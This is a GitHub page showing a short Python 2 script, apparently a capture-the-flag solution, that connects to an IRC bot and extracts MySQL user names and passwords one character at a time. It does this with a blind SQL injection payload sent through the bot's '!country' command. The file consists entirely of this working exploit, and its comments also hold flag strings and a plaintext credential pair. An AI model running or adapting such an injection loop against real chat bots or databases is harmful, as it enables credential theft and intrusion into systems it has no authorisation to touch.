-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathirc_sqli.py
49 lines (38 loc) · 1.09 KB
/
irc_sqli.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import sys
import socket
import string
HOST="10.1.1.4"
PORT=6667
NICK="sqli"
IDENT="sqli"
REALNAME="sqli"
readbuffer=""
s=socket.socket( )
s.connect(("10.1.1.4", 6667))
s.send("NICK sqli\r\n")
s.send("USER sqli sqli sqli :sqli\r\n")
s.send("JOIN #secret\r\n")
'''SQL_1nj3ct10n_v1a_IRC_Ch4T'''
'''The_5th_Fl@g_1s_C0mpr0m1s5_Th3_S3rv3r'''
'''satoshi:pikachu'''
res = ""
for i in range(1,50):
done = False
for j in range(0x20,0x7E):
payload = '''!country x' or ascii(substring((select group_concat(user,0x3a,password) from mysql.user limit 0,1 ),%d,1))='%d'#'''%(i,j)
s.send("PRIVMSG #secret :"+payload+"\r\n")
readbuffer=readbuffer+s.recv(1024)
temp=string.split(readbuffer, "\n")
readbuffer=temp.pop( )
for line in temp:
line=string.rstrip(line)
line=string.split(line)
if len(line)>4 and line[4]=="Found":
res += chr(j-1)
done = True
break
if(line[0]=="PING"):
s.send("PONG %s\r\n" % line[1])
if done:
break
print res